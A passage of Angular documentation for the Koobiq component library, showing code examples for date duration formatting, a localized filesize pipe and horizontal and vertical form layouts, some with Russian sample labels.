    imports: [LuxonDateModule, KbqFormattersModule],
    templateUrl: 'duration-date-formatter-example.html',
    styleUrls: ['duration-date-formatter-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DurationDateFormatterExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly formatter = inject<DateFormatter<DateTime>>(DateFormatter);
    private readonly changeDetectorRef = inject(ChangeDetectorRef);
    private readonly localeService = inject(KBQ_LOCALE_SERVICE);

    formats = {
        duration: {
            shortest: {
                withSeconds: {
                    seconds: '',
                    minutesSeconds: '',
                    withMilliseconds: '',
                    hoursMinutesSeconds: '',
                    hoursMinutes: ''
                },
                onlyMinutes: {
                    seconds: '',
                    minutesSeconds: '',
                    withMilliseconds: '',
                    hoursMinutesSeconds: '',
                    hoursMinutes: ''
                }
            },
            long: {
                seconds: '',

                minutesSeconds: '',
                minutes: '',
                minutesMoreThanHour: '',

                hoursMinutes: '',
                hoursMinutesMoreThanDay: '',
                hours: '',

                daysHours: '',
                days: '',
                daysMoreThanWeek: '',

                weeksDays: '',
                weeks: '',

                monthsWeeks: '',
                months: '',
                monthsWithFract: '',

                yearsMonth: '',
                years: '',
                yearsWithFract: ''
            },
            short: {
                secondsMilliseconds: '',
                seconds: '',

                minutesSeconds: '',
                minutes: '',
                minutesMoreThanHour: '',

                hoursMinutes: '',
                hoursMinutesMoreThanDay: '',
                hours: '',

                daysHours: '',
                days: '',
                daysMoreThanWeek: '',

                weeksDays: '',
                weeks: '',

                monthsWeeks: '',
                months: '',
                monthsWithFract: '',

                yearsMonth: '',
                years: '',
                yearsWithFract: ''
            }
        }
    };

    constructor() {
        this.localeService.changes.pipe(distinctUntilChanged(), delay(0)).subscribe(this.onLocaleChange);
    }

    private onLocaleChange = (locale: string) => {
        this.adapter.setLocale(locale);

        this.populateDurationShortest(locale);
        this.populateDurationLong(locale);
        this.populateDurationShort(locale);

        this.changeDetectorRef.markForCheck();
    };

    private populateDurationShortest(locale: string) {
        this.formatter.setLocale(locale);

        const shortest = this.formats.duration.shortest;
        const now = this.adapter.today();
        const start = now.set({ day: 10, hour: 10, minute: 0, second: 0, millisecond: 0 });

        let end = now.set({ day: 10, hour: 10, minute: 0, second: 25 });

        shortest.withSeconds.seconds = this.formatter.durationShortest(start, end);
        shortest.onlyMinutes.seconds = this.formatter.durationShortest(start, end, false);

        end = now.set({ day: 10, hour: 10, minute: 0, second: 25, millisecond: 125 });
        shortest.withSeconds.withMilliseconds = this.formatter.durationShortest(start, end, true, true);
        shortest.onlyMinutes.withMilliseconds = this.formatter.durationShortest(start, end, false, true);

        end = now.set({ day: 10, hour: 10, minute: 2, second: 25 });
        shortest.withSeconds.minutesSeconds = this.formatter.durationShortest(start, end);
        shortest.onlyMinutes.minutesSeconds = this.formatter.durationShortest(start, end, false);

        end = now.set({ day: 12, hour: 10, minute: 2, second: 25 });
        shortest.withSeconds.hoursMinutesSeconds = this.formatter.durationShortest(start, end);
        shortest.onlyMinutes.hoursMinutesSeconds = this.formatter.durationShortest(start, end, false);
    }

    private populateDurationLong(locale: string) {
        this.formatter.setLocale(locale);

        const long = this.formats.duration.long;
        const now = this.adapter.today();
        const start = now.set({ day: 10, hour: 0, minute: 0, second: 0, millisecond: 0 });

        long.seconds = this.formatter.durationLong(start, start.plus({ second: 21 }));

        long.minutesSeconds = this.formatter.durationLong(start, start.plus({ minute: 1, second: 25 }));
        long.minutes = this.formatter.durationLong(start, start.plus({ minute: 22 }));
        long.minutesMoreThanHour = this.formatter.durationLong(start, start.plus({ hour: 2 }), ['minutes']);

        long.hoursMinutes = this.formatter.durationLong(start, start.plus({ hour: 1, minute: 21 }));
        long.hoursMinutesMoreThanDay = this.formatter.durationLong(start, start.plus({ day: 1, hour: 8, minute: 20 }), [
            'hours',
            'minutes'
        ]);
        long.hours = this.formatter.durationLong(start, start.plus({ day: 1, hour: 8, minute: 20 }), ['hours']);

        long.daysHours = this.formatter.durationLong(start, start.plus({ day: 1, hour: 8, minute: 25 }));
        long.days = this.formatter.durationLong(start, start.plus({ day: 2, hour: 8 }), ['days']);
        long.daysMoreThanWeek = this.formatter.durationLong(start, start.plus({ day: 21 }), ['days']);

        long.weeksDays = this.formatter.durationLong(start, start.plus({ day: 15 }));
        long.weeks = this.formatter.durationLong(start, start.plus({ day: 15 }), ['weeks']);

        long.monthsWeeks = this.formatter.durationLong(start, start.plus({ month: 1, day: 25 }));
        long.months = this.formatter.durationLong(start, start.plus({ month: 2 }), ['months']);
        long.monthsWithFract = this.formatter.durationLong(start, start.plus({ month: 1, day: 16 }), ['months'], true);

        long.yearsMonth = this.formatter.durationLong(start, start.plus({ year: 3, month: 11 }));
        long.years = this.formatter.durationLong(start, start.plus({ year: 5, month: 9 }), ['years']);
        long.yearsWithFract = this.formatter.durationLong(start, start.plus({ year: 5, month: 9 }), ['years'], true);
    }

    private populateDurationShort(locale: string) {
        this.formatter.setLocale(locale);

        const short = this.formats.duration.short;
        const now = this.adapter.today();
        const start = now.set({ day: 10, hour: 0, minute: 0, second: 0, millisecond: 0 });

        short.secondsMilliseconds = this.formatter.durationShort(start, start.plus({ second: 21, millisecond: 365 }), [
            'seconds',
            'milliseconds'
        ]);
        short.seconds = this.formatter.durationShort(start, start.plus({ second: 21, millisecond: 365 }));

        short.minutesSeconds = this.formatter.durationShort(start, start.plus({ minute: 1, second: 25 }));
        short.minutes = this.formatter.durationShort(start, start.plus({ minute: 22 }));
        short.minutesMoreThanHour = this.formatter.durationShort(start, start.plus({ hour: 2 }), ['minutes']);

        short.hoursMinutes = this.formatter.durationShort(start, start.plus({ hour: 1, minute: 21 }));
        short.hoursMinutesMoreThanDay = this.formatter.durationShort(
            start,
            start.plus({ day: 1, hour: 8, minute: 20 }),
            ['hours', 'minutes']
        );
        short.hours = this.formatter.durationShort(start, start.plus({ day: 1, hour: 8, minute: 20 }), ['hours']);

        short.daysHours = this.formatter.durationShort(start, start.plus({ day: 1, hour: 8 }));
        short.days = this.formatter.durationShort(start, start.plus({ day: 2, hour: 8 }), ['days']);
        short.daysMoreThanWeek = this.formatter.durationShort(start, start.plus({ day: 15 }), ['days']);

        short.weeksDays = this.formatter.durationShort(start, start.plus({ day: 15 }));
        short.weeks = this.formatter.durationShort(start, start.plus({ day: 15 }), ['weeks']);

        short.monthsWeeks = this.formatter.durationShort(start, start.plus({ month: 1, day: 25 }));
        short.months = this.formatter.durationShort(start, start.plus({ month: 2 }), ['months']);
        short.monthsWithFract = this.formatter.durationShort(
            start,
            start.plus({ month: 2, day: 16 }),
            ['months'],
            true
        );

        short.yearsMonth = this.formatter.durationShort(start, start.plus({ year: 3, month: 11 }));
        short.years = this.formatter.durationShort(start, start.plus({ year: 5, month: 9 }), ['years']);
        short.yearsWithFract = this.formatter.durationShort(start, start.plus({ year: 5, month: 9 }), ['years'], true);
    }
}
```

```html duration-date-formatter-example.html
<div class="kbq-text-big">
    <h3>The shortest format</h3>
    <div>
        <div class="layout-row example-row-border">
            <div class="flex example-light-text-secondary">Name</div>
            <div class="flex example-light-text-secondary">Seconds</div>
            <div class="flex example-light-text-secondary">Only minutes</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Seconds</div>
            <div class="flex">{{ formats.duration.shortest.withSeconds.seconds }}</div>
            <div class="flex">{{ formats.duration.shortest.onlyMinutes.seconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Seconds and milliseconds</div>
            <div class="flex">{{ formats.duration.shortest.withSeconds.withMilliseconds }}</div>
            <div class="flex">{{ formats.duration.shortest.onlyMinutes.withMilliseconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes and seconds</div>
            <div class="flex">{{ formats.duration.shortest.withSeconds.minutesSeconds }}</div>
            <div class="flex">{{ formats.duration.shortest.onlyMinutes.minutesSeconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours, minutes and seconds</div>
            <div class="flex">{{ formats.duration.shortest.withSeconds.hoursMinutesSeconds }}</div>
            <div class="flex">{{ formats.duration.shortest.onlyMinutes.hoursMinutesSeconds }}</div>
        </div>
    </div>

    <h3>Long format</h3>
    <div>
        <div class="layout-row example-row-border">
            <div class="flex example-light-text-secondary">Name</div>
            <div class="flex example-light-text-secondary">Value</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Seconds</div>
            <div class="flex">{{ formats.duration.long.seconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes and seconds</div>
            <div class="flex">{{ formats.duration.long.minutesSeconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes</div>
            <div class="flex">{{ formats.duration.long.minutes }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes (more than hour)</div>
            <div class="flex">{{ formats.duration.long.minutesMoreThanHour }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours and minutes</div>
            <div class="flex">{{ formats.duration.long.hoursMinutes }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours and minutes (more than day)</div>
            <div class="flex">{{ formats.duration.long.hoursMinutesMoreThanDay }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours</div>
            <div class="flex">{{ formats.duration.long.hours }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Days and hours</div>
            <div class="flex">{{ formats.duration.long.daysHours }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Days</div>
            <div class="flex">{{ formats.duration.long.days }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Days (more then week)</div>
            <div class="flex">{{ formats.duration.long.daysMoreThanWeek }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Weeks and days</div>
            <div class="flex">{{ formats.duration.long.weeksDays }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Weeks</div>
            <div class="flex">{{ formats.duration.long.weeks }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Months and weeks</div>
            <div class="flex">{{ formats.duration.long.monthsWeeks }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Months</div>
            <div class="flex">{{ formats.duration.long.months }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Months with fraction</div>
            <div class="flex">{{ formats.duration.long.monthsWithFract }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Years and months</div>
            <div class="flex">{{ formats.duration.long.yearsMonth }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Years</div>
            <div class="flex">{{ formats.duration.long.years }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Years with fraction</div>
            <div class="flex">{{ formats.duration.long.yearsWithFract }}</div>
        </div>
    </div>

    <h3>Short format</h3>
    <div>
        <div class="layout-row example-row-border">
            <div class="flex example-light-text-secondary">Name</div>
            <div class="flex example-light-text-secondary">Value</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Seconds and milliseconds</div>
            <div class="flex">{{ formats.duration.short.secondsMilliseconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Seconds</div>
            <div class="flex">{{ formats.duration.short.seconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes and seconds</div>
            <div class="flex">{{ formats.duration.short.minutesSeconds }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes</div>
            <div class="flex">{{ formats.duration.short.minutes }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Minutes (more than hour)</div>
            <div class="flex">{{ formats.duration.short.minutesMoreThanHour }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours and minutes</div>
            <div class="flex">{{ formats.duration.short.hoursMinutes }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours and minutes (more than day)</div>
            <div class="flex">{{ formats.duration.short.hoursMinutesMoreThanDay }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Hours</div>
            <div class="flex">{{ formats.duration.short.hours }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Days and hours</div>
            <div class="flex">{{ formats.duration.short.daysHours }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Days</div>
            <div class="flex">{{ formats.duration.short.days }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Days (more then week)</div>
            <div class="flex">{{ formats.duration.short.daysMoreThanWeek }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Weeks and days</div>
            <div class="flex">{{ formats.duration.short.weeksDays }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Weeks</div>
            <div class="flex">{{ formats.duration.short.weeks }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Months and weeks</div>
            <div class="flex">{{ formats.duration.short.monthsWeeks }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Months</div>
            <div class="flex">{{ formats.duration.short.months }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Months with fraction</div>
            <div class="flex">{{ formats.duration.short.monthsWithFract }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Years and months</div>
            <div class="flex">{{ formats.duration.short.yearsMonth }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Years</div>
            <div class="flex">{{ formats.duration.short.years }}</div>
        </div>
        <div class="layout-row example-row-border">
            <div class="flex">Years with fraction</div>
            <div class="flex">{{ formats.duration.short.yearsWithFract }}</div>
        </div>
    </div>
</div>
```

```css duration-date-formatter-example.css
.example-light-text-secondary {
    color: #ccc;
}

.example-row-border {
    padding: 8px;
    border-bottom: 1px solid #ccc;
}
```

### Examples

#### Setup

To use the formatter, you need to import: `KbqFormattersModule` and `KbqLuxonDateModule`.
`KbqLuxonDateModule` imports `KBQ_LOCALE_SERVICE`, so there is no need to import it separately.

**Example: date-formatter-typical-use** (`date-formatter-typical-use`)

```ts date-formatter-typical-use-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqLuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_LOCALE_SERVICE, KbqFormattersModule } from '@koobiq/components/core';
import { DateTime } from 'luxon';

@Component({
    selector: 'date-formatter-typical-use-example',
    imports: [KbqLuxonDateModule, KbqFormattersModule],
    template: '{{ date }}',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DateFormatterTypicalUseExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly dateFormatter = inject<DateFormatter<DateTime>>(DateFormatter);
    private readonly localeService = inject(KBQ_LOCALE_SERVICE);

    date: string;

    constructor() {
        this.localeService.setLocale('en-US');

        this.date = this.dateFormatter.absoluteLongDate(this.adapter.today());
    }
}
```

It is also possible to connect all the necessary services without using modules (`KbqFormattersModule` and `KbqLuxonDateModule`).

**Example: date-formatter-special-use** (`date-formatter-special-use`)

```ts date-formatter-special-use-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { LuxonDateAdapter } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE } from '@koobiq/components/core';
import { DateTime } from 'luxon';

@Component({
    selector: 'date-formatter-special-use-example',
    template: '{{ date }}',
    providers: [
        {
            provide: DateAdapter,
            useClass: LuxonDateAdapter,
            deps: [KBQ_DATE_LOCALE]
        },
        { provide: DateFormatter, deps: [DateAdapter] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DateFormatterSpecialUseExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly dateFormatter = inject<DateFormatter<DateTime>>(DateFormatter);

    date: string;

    constructor() {
        this.dateFormatter.setLocale('en-US');
        this.dateFormatter.setLocale('ru-RU');

        this.date = this.dateFormatter.absoluteLongDate(this.adapter.today());
    }
}
```

## Filesize formatter

- Page: https://koobiq.io/en/other/filesize-formatter/overview

**Filesize formatter** automatically converts values into kilobytes, megabytes, gigabytes, etc., taking localization into account. Rounding can also be customized.

**Example: Filesize formatter** (`filesize-formatter-overview`)

```ts filesize-formatter-overview-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import {
    KBQ_LOCALE_SERVICE,
    KbqDataSizePipe,
    KbqFormsModule,
    KbqMeasurementSystem,
    KbqNormalizeWhitespace,
    PopUpPlacements
} from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'filesize-formatter-overview-example',
    imports: [
        ReactiveFormsModule,
        KbqDataSizePipe,
        KbqSelectModule,
        KbqIconModule,
        KbqFormsModule,
        KbqInputModule,
        KbqToolTipModule,
        KbqNormalizeWhitespace
    ],
    template: `
        <form class="kbq-form-vertical" novalidate>
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <label class="kbq-form__label">Size in bits</label>
                    <kbq-form-field class="kbq-form__control">
                        <input kbqNumberInput kbqNormalizeWhitespace [min]="0" [formControl]="bytesControl" />
                        <kbq-stepper />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <label class="kbq-form__label">Numbers behind decimal point</label>
                    <kbq-form-field class="kbq-form__control">
                        <kbq-select [formControl]="precisionControl">
                            <kbq-option [value]="2">Default (2)</kbq-option>
                            <kbq-option [value]="0">0</kbq-option>
                            <kbq-option [value]="1">1</kbq-option>
                            <kbq-option [value]="2">2</kbq-option>
                            <kbq-option [value]="3">3</kbq-option>
                        </kbq-select>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <label class="kbq-form__label">
                        Base
                        <i
                            kbq-icon="kbq-circle-question_16"
                            [color]="'contrast-fade'"
                            [style.cursor]="'help'"
                            [kbqPlacement]="popUpPlacements.Right"
                            [kbqTooltip]="tooltipText"
                        ></i>
                    </label>
                    <kbq-form-field class="kbq-form__control">
                        <kbq-select [formControl]="unitSystemNameControl">
                            <kbq-option [value]="kbqMeasurementSystem.SI">Default (10)</kbq-option>
                            <kbq-option [value]="kbqMeasurementSystem.IEC">2</kbq-option>
                            <kbq-option [value]="kbqMeasurementSystem.SI">10</kbq-option>
                        </kbq-select>
                    </kbq-form-field>
                </div>
            </div>
        </form>

        <div
            class="layout-padding-left-3xl layout-padding-right-3xl kbq-subheading layout-align-center-center layout-row example-filesize-formatter__result"
        >
            {{ bytesControl.value | kbqDataSize: precisionControl.value : unitSystemNameControl.value }}
        </div>

        <ng-template #tooltipText>
            <div>Base 10</div>
            <div>
                <span>
                    <span>1&nbsp;KB = 10</span>
                    <sup>3</sup>
                </span>
                bytes = 1000&nbsp;bytes (SI standard)
            </div>
            <div>Base 2</div>
            <div>
                <span>
                    <span>1&nbsp;KiB = 2</span>
                    <sup>10</sup>
                </span>
                bytes = 1024&nbsp;bytes (IEC)
            </div>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: row;
        }

        .example-filesize-formatter__result {
            background: var(--kbq-background-theme-less);
            border-radius: var(--kbq-size-border-radius);
            flex-grow: 1;
        }

        @media (width <= 768px) {
            :host {
                flex-direction: column-reverse;
            }

            .example-filesize-formatter__result {
                height: 90px;
                width: auto;
                max-width: unset;
            }
        }

        @media (width > 768px) {
            .kbq-form__control {
                width: 240px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'example-filesize-formatter__container layout-gap-3xl layout-margin-bottom-s'
    }
})
export class FilesizeFormatterOverviewExample {
    protected readonly localeService = inject(KBQ_LOCALE_SERVICE, { optional: true });
    protected readonly cdr = inject(ChangeDetectorRef);
    protected readonly precisionControl = new FormControl(2, { nonNullable: true });
    protected readonly unitSystemNameControl = new FormControl<KbqMeasurementSystem>(KbqMeasurementSystem.SI, {
        nonNullable: true
    });
    protected readonly bytesControl = new FormControl(1024, { nonNullable: true });

    protected readonly kbqMeasurementSystem = KbqMeasurementSystem;
    protected readonly popUpPlacements = PopUpPlacements;

    constructor() {
        this.localeService?.changes.pipe(takeUntilDestroyed()).subscribe(() => this.cdr.markForCheck());
    }
}
```

### Integration

Add `KbqDataSizePipe` to the component’s `imports`. It works like a standard [Angular pipe](https://angular.dev/guide/templates/pipes):

```ts
import { KbqDataSizePipe } from '@koobiq/components/core';

@Component({
    imports: [KbqDataSizePipe],
    template: `
        <div>{{ 1024 | kbqDataSize }}</div>
    `
})
```

### Usage in Components

The formatter supports localization, choice of measurement system (SI/IEC), and rounding precision settings.

#### Local Configuration

You can set parameters directly in the template using pipe arguments:

```ts
@Component({
    imports: [KbqDataSizePipe],
    template: `
        <div>{{ 1536 | kbqDataSize : 1 : 'IEC' : 'en-US' }}</div>
    `
})
```

#### Global Configuration via DI

To define common formatting settings across the entire application or module, use a provider:

```ts
import { kbqSizeUnitsLocaleConfigurationProvider } from '@koobiq/components/core';

@NgModule({
    providers: [
        kbqSizeUnitsLocaleConfigurationProvider({
            defaultPrecision: 3,
            defaultUnitSystem: 'SI'
        })
    ]
})
```

### Number and Unit Formatting

- A **non-breaking space** (`&nbsp;`) is used between the number and the unit.
- By default, numbers are formatted using the **`KbqDecimalPipe`**.
- To format numbers specifically for tables, use the **`KbqTableNumberPipe`**.

To apply table-style number formatting with the `kbqTableNumber` pipe, override the `KbqDecimalPipe` by registering the appropriate provider in your component or module:

**Example: Filesize formatter Table Number** (`filesize-formatter-table-number`)

```ts filesize-formatter-table-number-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { KBQ_LOCALE_SERVICE, KbqDataSizePipe, KbqDecimalPipe, KbqTableNumberPipe } from '@koobiq/components/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'filesize-formatter-table-number-example',
    imports: [
        KbqDataSizePipe,
        KbqTableModule
    ],
    template: `
        <table kbq-table>
            <thead>
                <tr>
                    <th>File</th>
                    <th>Size</th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <td>File 1</td>
                    <td class="kbq-tabular-normal">
                        <div>{{ 1024 * 2048 | kbqDataSize }}</div>
                    </td>
                </tr>
                <tr>
                    <td>File 2</td>
                    <td class="kbq-tabular-normal">{{ 1024 * 1536 | kbqDataSize }}</td>
                </tr>
                <tr>
                    <td>File 3</td>
                    <td class="kbq-tabular-normal">{{ 1024 * 1024 | kbqDataSize }}</td>
                </tr>
            </tbody>
        </table>
    `,
    providers: [
        { provide: KbqDecimalPipe, useClass: KbqTableNumberPipe }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilesizeFormatterTableNumberExample {
    protected readonly localeService = inject(KBQ_LOCALE_SERVICE, { optional: true });
    protected readonly cdr = inject(ChangeDetectorRef);

    constructor() {
        this.localeService?.changes.pipe(takeUntilDestroyed()).subscribe(() => this.cdr.markForCheck());
    }
}
```

## Forms

- Page: https://koobiq.io/en/other/forms/overview

Form layout utilities arrange fields, labels, hints, and validation messages in horizontal, vertical, or grouped layouts.

### Horizontal

**Example: Horizontal form** (`horizontal-form`)

```ts horizontal-form-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFormsModule } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'horizontal-form-example',
    imports: [
        FormsModule,
        KbqFormsModule,
        KbqInputModule
    ],
    templateUrl: 'horizontal-form-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class HorizontalFormExample {
    value: any;
}
```

```html horizontal-form-example.html
<div class="kbq-text-big">
    <form novalidate class="kbq-form-horizontal">
        <div class="kbq-form__row">
            <label class="kbq-form__label flex-20">Подпись поля</label>
            <kbq-form-field class="kbq-form__control flex-80">
                <input kbqInput name="input" [(ngModel)]="value" />

                <kbq-hint>Подсказка под полем</kbq-hint>
            </kbq-form-field>
        </div>

        <div class="kbq-form__row">
            <label class="kbq-form__label flex-20">Общая подпись для нескольких полей</label>
            <kbq-form-field class="kbq-form__control flex-50">
                <input kbqInput name="input" [(ngModel)]="value" />

                <kbq-hint>Подсказка под полем</kbq-hint>
            </kbq-form-field>
            <kbq-form-field class="kbq-form__control flex-30">
                <input kbqInput name="input" [(ngModel)]="value" />

                <kbq-hint>Подсказка под полем</kbq-hint>
            </kbq-form-field>
        </div>

        <div class="kbq-form__row">
            <label class="kbq-form__label flex-20">Эксфильтрация данных</label>
            <kbq-form-field class="kbq-form__control flex-80">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>

        <div class="kbq-form__fieldset">
            <div class="kbq-form__legend">Перемещение внутри периметра</div>

            <div class="kbq-form__row">
                <label class="kbq-form__label flex-20">Выполнение</label>
                <kbq-form-field class="kbq-form__control flex-80">
                    <input kbqInput name="input" [(ngModel)]="value" />
                </kbq-form-field>
            </div>

            <div class="kbq-form__row">
                <label class="kbq-form__label flex-20">
                    Длинное название поля в несколько строк с возможным переносом на новую строку
                </label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" [(ngModel)]="value" />

                    <kbq-hint style="white-space: nowrap">Подсказка под полем</kbq-hint>
                </kbq-form-field>
            </div>
        </div>
    </form>
</div>
```

#### Label column width

By default, labels occupy one out of four columns with a 16 px gutter.\

You can also set a different size, including a fixed width.

**Example: Horizontal form labels** (`horizontal-form-labels`)

```ts horizontal-form-labels-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFormsModule } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'horizontal-form-labels-example',
    imports: [
        FormsModule,
        KbqFormsModule,
        KbqInputModule
    ],
    templateUrl: 'horizontal-form-labels-example.html',
    styleUrls: ['horizontal-form-labels-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class HorizontalFormLabelsExample {
    value: any;
}
```

```html horizontal-form-labels-example.html
<div class="kbq-text-big">
    <form novalidate class="kbq-form-horizontal">
        <div class="kbq-form__row">
            <label class="kbq-form__label flex-20">1/4 columns</label>
            <kbq-form-field class="kbq-form__control flex-80">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>
        <div class="kbq-form__row">
            <label class="kbq-form__label example-form__label_fixed-200">Fixed 200</label>
            <kbq-form-field class="kbq-form__control">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>
        <div class="kbq-form__row">
            <label class="kbq-form__label example-form__label_fixed-240">Fixed 240</label>
            <kbq-form-field class="kbq-form__control">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>
        <div class="kbq-form__row">
            <label class="kbq-form__label example-form__label_fixed-280">Fixed 280</label>
            <kbq-form-field class="kbq-form__control">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>
        <div class="kbq-form__row">
            <label class="kbq-form__label example-form__label_fixed-320">Fixed 320</label>
            <kbq-form-field class="kbq-form__control">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>
        <div class="kbq-form__row">
            <label class="kbq-form__label flex-30">Custom (напр, 1/3 cols)</label>
            <kbq-form-field class="kbq-form__control">
                <input kbqInput name="input" [(ngModel)]="value" />
            </kbq-form-field>
        </div>
    </form>
</div>
```

```css horizontal-form-labels-example.css
.example-form__label_fixed-200 {
    width: 200px;
    max-width: 200px;
    flex: 1 1 100%;
}

.example-form__label_fixed-240 {
    width: 240px;
    max-width: 240px;
    flex: 1 1 100%;
}

.example-form__label_fixed-280 {
    width: 280px;
    max-width: 280px;
    flex: 1 1 100%;
}

.example-form__label_fixed-320 {
    width: 320px;
    max-width: 320px;
    flex: 1 1 100%;
}
```

### Vertical layout

**Example: Vertical form** (`vertical-form`)

```ts vertical-form-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFormsModule } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'vertical-form-example',
    imports: [
        FormsModule,
        KbqFormsModule,
        KbqInputModule
    ],
    templateUrl: 'vertical-form-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class VerticalFormExample {
    value: any;
}
```

```html vertical-form-example.html
<div class="kbq-text-big">
    <form novalidate class="kbq-form-vertical">
        <div class="kbq-form__fieldset">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Подпись поля</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" [(ngModel)]="value" />
                </kbq-form-field>
            </div>

            <div class="kbq-form__fieldset">
                <div style="display: flex" class="kbq-form__label-wrapper">
                    <label class="kbq-form__label">Общая подпись для нескольких полей</label>
                </div>
                <div class="kbq-form__fieldset kbq-horizontal">
                    <div class="kbq-form__row flex-80">
                        <kbq-form-field class="kbq-form__control">
                            <input kbqInput name="input" [(ngModel)]="value" />

                            <kbq-hint>Подсказка под полем</kbq-hint>
                        </kbq-form-field>
                    </div>
                    <div class="kbq-form__row flex-20">
                        <kbq-form-field class="kbq-form__control">
                            <input kbqInput name="input" [(ngModel)]="value" />
                        </kbq-form-field>
                    </div>
                </div>
            </div>

            <div class="kbq-form__row">
                <label class="kbq-form__label">Эксфильтрация данных</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" [(ngModel)]="value" />
                </kbq-form-field>
            </div>
        </div>

